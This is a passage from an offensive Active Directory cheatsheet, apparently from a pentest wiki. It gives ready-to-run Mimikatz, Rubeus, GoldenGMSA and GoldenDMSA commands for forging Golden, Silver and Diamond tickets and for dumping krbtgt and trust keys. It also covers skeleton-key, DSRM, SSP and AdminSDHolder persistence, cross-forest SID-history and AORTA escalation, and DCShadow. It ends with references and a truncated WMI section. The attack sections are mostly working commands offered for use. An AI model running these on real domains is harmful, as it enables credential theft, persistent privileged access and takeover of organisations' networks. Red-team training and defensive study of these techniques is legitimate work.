[Blog here](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/)

```powershell
.\Rubeus.exe diamond /krbkey:<aes_krbtgt_key> /user:user1 /password:password /enctype:aes /domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid:<target_RID> /groups:512 /nowrap
```

For better opsec, the Shapphire Ticket presented in the Active Directory - Python edition cheatsheet can be used.

### Golden ticket

#### Retrieve the krbtgt hash

* From the DC by dumping LSA

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc
```

* With a DCSync

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
```

#### Create TGT

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /krbtgt:<krbtgt_hash> /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

#### RODC Golden Ticket

In case of a RODC, it is still possible to forge a Golden Ticket but the KRBTGT's version number is needed and only the accounts allowed to authenticate can be specified in the ticket (according to the `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup` lists).

```powershell
.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID> /domain:domain.local /sid:<domain_SID>
```

### Silver ticket

#### Create ST

`/rc4` take the service account (generally the machine account) hash. `/aes128` or `/aes256` can be used for AES keys.

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<domain_SID> /target:<target>.domain.local /service:CIFS /rc4:<account_hash> /ptt"'
```

Requesting a ST with a valid TGT can be performed with **Rubeus** like this:

```powershell
.\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt
```

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

```powershell
.\Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/target.domain.local" /ticket:"<base64_target_TGT>" /nowrap
```

### GoldenGMSA

With the KDS root key and some information about the gMSA account (that can be retrieved with low privileges), it is possible to compute the gMSA's password.

#### Dump the KDS root key

This operation needs admin privs on the domain

```powershell
#For the root domain of the forest
./GoldenGMSA.exe kdsinfo

#For a specific domain
./GoldenGMSA.exe kdsinfo --forest domain.local
```

#### Retrieve gMSA's information

Low privs are sufficient here

```powershell
#All the gMSA accounts
./GoldenGMSA.exe gmsainfo

#A specific one in a specific domain
./GoldenGMSA.exe gmsainfo --sid <gmsa_SID> --domain domain.local
```

#### Compute the password

This operation can be realized offline

```powershell
./GoldenGMSA.exe compute --sid <gmsa_SID> --kdskey <base64_KDS_key> --pwdid <base64_msds-ManagedPasswordID_value>
```

The output is in Base64 and the password is generally not readable. It is possible to calcul the NT hash from it instead:

```python
import base64
import hashlib

b64 = "<base64_password>"
print(hashlib.new("md4", base64.b64decode(b64)).hexdigest())
```

### GoldenDMSA

This technique is very similar to GoldenGMSA, but targets new DMSA accounts in Windows Server 2025.

First, extract the Root Key:

```powershell
./GoldenDMSA.exe kds [--domain child.domain.local] #For a child domain
```

Then, enumerate the DMSA accounts:

```powershell
# From the root domain
./GoldenDMSA.exe info -d domain.local -m ldap

# From a child domain
./GoldenDMSA.exe info -u user1 -p password -o child.domain.local -d domain.local -m ldap
```

Generate a ManagedPasswordId wordlist:

```powershell
GoldenDMSA.exe wordlist -s <DMSA_SID> -d <DMSA_domain> -f domain.local -k <KDS_ROOT_KEY_ID>
```

And finally, bruteforce the `ManagedPasswordId` from the values found previously:

```powershell
GoldenDMSA.exe bruteforce -s <DMSA_SID> -u <DMSA_NAME$> -k <KDS_ROOT_KEY> -i <KDS_ROOT_KEY_ID> -d <DMSA_domain>
```

### Skeleton key

```powershell
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local
```

Now, it is possible to access any machine with a valid username and password as "mimikatz".

```powershell
Enter-PSSession -Computername dc -Credential domain\Administrator
```

### DSRM

* DSRM is Directory Services Restore Mode
* The local administrator on every DC can authenticate with the DSRM password
* It is possible to pass the hash of this user to access the DC after modifying the DC configuration

#### Dump DSRM password

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc
```

#### Change registry configuration

Need to change the logon behavior before pass the hash

```powershell
Enter-PSSession -Computername dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

Now the DSRM hash ca be used to authenticate

### Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

* By patching LSASS (really instable since Server 2016)

```powershell
Invoke-Mimikatz -Command '"misc::memssp"'
```

* By modifying the LSA registry

Upload the `mimilib.dll` to **system32** and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` :

```powershell
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
```

All local logons on the DC are logged to `C:\Windows\system32\kiwissp.log`

### DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

#### Attack

* With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example.
* When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins.

```powershell
#PowerView
Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose
```

#### Run SDProp manually

```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
#Pre-Server 2008
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
```

#### Check Domain Admins DACLs

```powershell
#PowerView
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'}
```

### DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section. Multiple rights like **All**, **DCSync**, etc, are possible.

### DACLs - Security Decriptors

ACLs can be modified to allow users to access objects.

#### WMI

```powershell
#On local machine
Set-RemoteWMI -UserName user1 -Verbose

#On remote machine without explicit credentials
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Verbose

#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose

#On remote machine remove permissions
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose
```

#### PowerShell Remoting

```powershell
#On local machine
Set-RemotePSRemoting -UserName user1 -Verbose

#On remote machine without credentials
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Verbose

#On remote machine, remove the permissions
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Remove
```

#### Remote Registry

With the scripts from **DAMP-master**. Permits to realize some actions like credentials dump via the registry.

## Cross-Trust Movement

### Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field.

#### With the trust key

Get the trust key, look at the `[in]` value in the result

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
#OR
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'
```

Forge the referral ticket :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<enterprise_admins_SID>-<RID> /rc4:<key> /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"'
```

Request a ST with the previous TGT and access service :

```powershell
#New tools for more fun
.\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \\dc.parentDomain.local\c$

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$
```

#### With the krbtgt hash

Exactly the same attack, but with the krbtgt hash that can be extracted like this :

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

To avoid some suspicious logs, use multiple values can be added in SID History :

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid:<current_domain_SID> /groups:516 /sids:<parent_domain_SID>-516,S-1-5-9 /krbtgt:<krbtgt_hash> /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"' 
```

* `<parent_domain_SID>-516` – Domain Controllers
* `S-1-5-9` – Enterprise Domain Controllers

### Across forest

#### SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an **RID > 1000** must be indicated.

* Get the Trust Key

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

* If **no filtering** : forge a referral ticket or an inter-realm Golden Ticket and request for a ST

```powershell
#Referral ticket with the Trust Key
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<target_domain_SID>-<RID> /rc4:<key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

#Inter-realm Golden Ticket with krbtgt, with pass-the-ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<current_domain_SID> /sids:<target_domain_SID>-<RID> /krbtgt:<krbtgt_hash> /ptt"'

#For a specific user different than the Administrator (not RID 500)
Invoke-Mimikatz -Command '"kerberos::golden /user:user1 /domain:domain.local /sid:<current_domain_SID> /id:<user1_RID> /rc4:<trust_key> /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"'

./Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local /dc:dc.targetDomain.local /ptt
```

* If **there is SID filtering**, same thing as above but with **RID > 1000** (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the `foreignSecurityPrincipal`. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups:

```powershell
#These SIDs are members of the target domain
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"}

#The found SIDs can be search in the current forest
Get-DomainObject |? {$_.objectSid -match "<SID>"}
```

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

#### TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is **enabled** in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is **disabled**, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, **Selective Authentication must not be enabled** on the trust, and a two ways trust is needed.

How to exploit an [Unconstrained Delegation](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-unconstrained-delega-0).

#### Account Operators Replicating Trust Attack (AORTA)

Everything is explained [here](https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta/).

1. The first step is to set up a Windows Server VM on our machine and promote it to a domain controller for its own forest (e.g. `attacker.local`).
2. On this VM, we need to create a _DNS Conditional Forwarder_ to be able to resolve the other forest through the trust:

```powershell
Add-DnsServerConditionalForwarderZone -Name <target_domain_fqdn> -MasterServers <target_DC_IP>
```

3. On our DC as Administrator, we create an outgoing approval relationship to the target forest:

```
Open Active Directory Domains and Trusts as Administrator on attackerdc
Right-click on "attacker.local", and click on "Properties"
Go to the "Trusts" tab, and click "New Trusts…"
Click "Next", type $TARGET_FOREST_FQDN and click "Next"
Select "Forest trust" and click "Next"
Select "One-way outgoing" and click "Next"
Select "This domain only" and click "Next"
Select "Forest-wide authentication" and click "Next"
Enter the trust password "$TRUST_PASS" twice and click "Next"
Click "Next", then "Next", then "Yes, confirm the outgoing trust", and "Next"
Click Finish
```

4. The next step is to log in **as an Account Operator** for the target domain on the DC you just created, and add yourself to the **Incoming Forest Trust Builders** and **DnsAdmins** groups in the target AD:

```powershell
runas /netonly /user:<operator_user>@<target_domain_fqdn> powershell

Add-ADGroupMember -Identity "Incoming Forest Trust Builders" -Members <operator_user>-Server <target_domain_fqdn>
Add-ADGroupMember -Identity "DnsAdmins" -Members <operator_user>-Server <target_domain_fqdn>
klist purge
```

5. Once in these groups, you can create an inbound trust, with TGT delegation enabled, on the target forest. This completes the trust relationship from the attacking forest to the target forest. Enabling TGT delegation requires the `TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION` flag, which is no longer accessible by default. The [Trustify](https://github.com/bytewreck/Trustify) tool allows you to automate everything. Still as the operator account added to both groups:

```powershell
Trustify.exe create <target_domain_fqdn> <attacker_domain_sid> <attacker_forest_fqdn> <attacker_forest_netbios> <trust_pass>
Get-ADTrust <attacker_forest_fqdn> -Server <target_forest_fqdn>
```

6. As the operator account, create a _DNS Conditional Forwarder_ on the target forest, pointing to the attacking forest:

```powershell
Add-DnsServerConditionalForwarderZone -Name <attacker_forest_fqdn> -MasterServers <attacker_DC_IP> -ComputerName <target_DC_fqdn>
```

From there, everything is ready for coercion. In this scenario, there is no need for two-way approval since we will authenticate on the target DC with an account from its forest. We just need approval in the "attacker -> target" direction so that the target DC can _come_ to the "attacker".

We can now coerce the target DC towards our DC and perform a [Unconstrained Delegation](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-unconstrained-delega-0).

#### Transit across non-transitive trusts

If a **non-transitive** trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on **External Trusts** for example.

However, there is a way to make non-transitive trusts transitive. Full explains [here](https://exploit.ph/external-trusts-are-evil.html).

For this example, there is an **External Trust** between domains A and B (which are in different forests), there is a **Within Forest** trust between domains B and C (which are in the same forest), and a **Parent-child** trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since **External Trusts** are non-transitive.

* First, obtain a TGT for userA in his **domain A**

```powershell
./Rubeus.exe asktgt /user:userA /password:password /nowrap
```

* Then, request a referral for the **domain B** with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in **domain B** as userA

```powershell
./Rubeus.exe asktgs /service:krbtgt/domainB.local /ticket:<previous_TGT> /dc:dc.domainA.local /nowrap
```

* With this referral, it is not possible to request for a ST in **domain C** since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B

```powershell
./Rubeus.exe asktgs /service:krbtgt/domainB.local /targetdomain:domainB.local /ticket:<previous_referral> /dc:dc.domainB.local /nowrap
```

* Now, this TGT can be reused to ask for a referral to access **domain C**, still from **domain A with user A**

```powershell
./Rubeus.exe asktgs /service:krbtgt/domainC.local /targetdomain:domainB.local /ticket:<previous_local_TGT> /dc:dc.domainB.local /nowrap
```

This referral for **domain C** can be, in turn, used to access **domain D** with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with **domain D**. For example, if **domain D** has an **External Trust** with **domain E** in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

```powershell
./Rubeus.exe asktgs /service:ldap/domainD.local /ticket:<referral_domainD> /dc:dc.domainD.local /ptt
New-MachineAccount -MachineAccount machineDomainD -Domain domainD.local -DomainController dc.domainD.local
#Then, ask for a TGT and replay the attack against domain E
```

### Across forest - PAM trust

The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high priv group.

#### Check if the current forest is a bastion forest

* Enumerate trust properties

```powershell
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
```

* Enumerate shadow security principals

```powershell
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl
```

* `Name` - Name of the shadow principal
* `member` - Members from the bastion forest which are mapped to the shadow principal
* `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` is disabled in a **PAM Trust**.

#### Check if the current forest is managed by a bastion forest

```powershell
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
```

A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`).

### SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a **Central Administration Site** to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains [here](https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087).

### MSSQL server

Everything is here. (*Not for the moment, refactor in progress*)

## Forest Persistence - DCShadow

* DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller
* The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar)

The attack needs 2 instances on the compromised machine and **Mimikatz**.

* One to start RPC servers with SYSTEM privileges and specify attributes to be modified

```batch
#With Mimikatz
#Set SYSTEM privs to the process
!+
!processtoken
#Launch the server
lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>
```

* And second with enough privileges (DA or otherwise) to push the values :

```batch
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<hash> /impersonate
lsadump::dcshadow /push
```

### Minimal permissions

DCShadow can be used with [minimal permissions](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow#dcshadow) (and [this](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)) by modifying ACLs of :

* The domain object.
  * DS-Install-Replica (Add/Remove Replica in Domain)
  * DS-Replication-Manage-Topology (Manage Replication Topology)
  * DS-Replication-Synchronize (Replication Synchornization)
* The Sites object (and its children) in the Configuration container.
  * CreateChild and DeleteChild
* The object of the computer which is registered as a DC.
  * WriteProperty (Not Write)
* The target object.
  * WriteProperty (Not Write)

`Set-DCShadowPermissions` can be used to setup automatically

To use DCShadow as user **user1** to modify **user2** object from machine **machine-user1**

```powershell
Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose
```

Now, the **second mimkatz** instance (which runs as DA) is not required.

### Set interesting attributes

#### Set SIDHistory to Enterprise Admin

```batch
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519
```

#### Modify primaryGroupID

```batch
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
```

#### Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user

We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end.

```powershell
#Read the current ACL of high priv groups
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this :

```batch
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value:<modified ACL>
```

#### Set a SPN on an user

```batch
lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"
```

### Shadowception

We can even run DCShadow from DCShadow, which is [_Shadowception_](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow#shadowception-give-dcshadow-permissions-using-dcshadow-no-modified-permissions-logs) (and [still this](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)).

We need to append following ACEs with our user's SID at the end:

* On the domain object: `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`\
  `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)`\
  `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
* On the attacker computer object: `(A;;WP;;;UserSID)`
* On the target user object: `(A;;WP;;;UserSID)`
* On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)`

#### Get the ACLs

Get the ACLs for the Domain Object :

```powershell
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

For the attacker machine :

```powershell
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

For the target user :

```powershell
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

For the Site Container :

```powershell
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

#### Stack the queries

After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query\
For each one :

```batch
lsadump::dcshadow /stack /object:<object> /attribute:ntSecurityDescriptor /value:<newACL_after_the_append>
```

Then just `lsadump::dcshadow`

DCShadow can now be run from a user DCShadow-ed.

## References

* [The Hacker Recipes](https://www.thehacker.recipes)
* [Pentester Academy](https://www.pentesteracademy.com)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
* [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/)
* [Pentestlab.blog](https://pentestlab.blog/)
* [HackTricks](https://book.hacktricks.xyz/welcome/readme)
* [Haax](https://cheatsheet.haax.fr/)
* [Red Teaming Experiments](https://www.ired.team)
* [NetExec wiki](https://www.netexec.wiki/)
* [Cube0x0](https://cube0x0.github.io)
* [Dirk-jan Mollema](https://dirkjanm.io)
* [Snovvcrash](https://ppn.snovvcrash.rocks)
* [Exploit.ph](https://exploit.ph/)
* [Adam Chester](https://blog.xpnsec.com/)
* [Olivier Lyak](https://medium.com/@oliverlyak)
* [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [Masky release](https://z4ksec.github.io/posts/masky-release-v0.0.3/)
* [Active Directory Spotlight](https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/)
* [LDAP Pass back](https://www.acceis.fr/ldap-pass-back-attack/)
* [SOAPHound](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/)
* [ThievingFox](https://blog.slowerzs.net/posts/thievingfox/)
* [SpecterOps](https://posts.specterops.io)
* [MDSec](https://www.mdsec.co.uk/knowledge-centre/research/)
* [Semperis](https://www.semperis.com/fr/blog/)
* [Cogiceo](https://www.cogiceo.com/en/our-white-papers/)
* [Akamai Security Blog](https://www.akamai.com/blog/security-research)
* [BloodHound Legacy](https://bloodhound.readthedocs.io/en/latest/index.html) & [BloodHound CE](https://bloodhound.specterops.io/home)
* [Hack The Box](https://www.hackthebox.com/)

# WMI

<p id="bkmrk-this-cheatsheet-is-b" class="callout danger">This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.</p>
<p id="bkmrk-if-you-see-a-missing" class="callout danger"><strong>If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : <a href="https://twitter.com/BlWasp_">@BlWasp_</a></strong></p>
<p id="bkmrk-if-wmi-is-blocked-in"><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:0">If WMI is blocked in your environment, you can try to use </span><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:1"><strong class="bold-3c254bd9" data-slate-leaf="true">CIM </strong></span><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:2">commands with </span><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:3" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwV01JJTIwaXMlMjBibG9ja2VkJTJDJTIwd2UlMjBjYW4lMjB0cnklMjB0byUyMHVzZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJDSU0lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNvbW1hbmRzJTIwd2l0aCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJXUy1NQU4lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="><strong class="bold-3c254bd9" data-slate-leaf="true">WS-MAN.</strong></span></p>
<p>The idea of this cheatsheet is to provide some commands with titles without lots of explains. If you need more explains about these attacks you can, for example, buy the WMI course from <strong><a href="https://www.pentesteracademy.com/course?id=34">Pentester Academy</a></strong>. More references will be specified at the end.</p>
<h2 id="bkmrk-misc"><span data-offset-key="2ade99fcb1c54a54b55f93c0877788dd:3" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwV01JJTIwaXMlMjBibG9ja2VkJTJDJTIwd2UlMjBjYW4lMjB0cnklMjB0byUyMHVzZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJDSU0lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNvbW1hbmRzJTIwd2l0aCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJXUy1NQU4lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN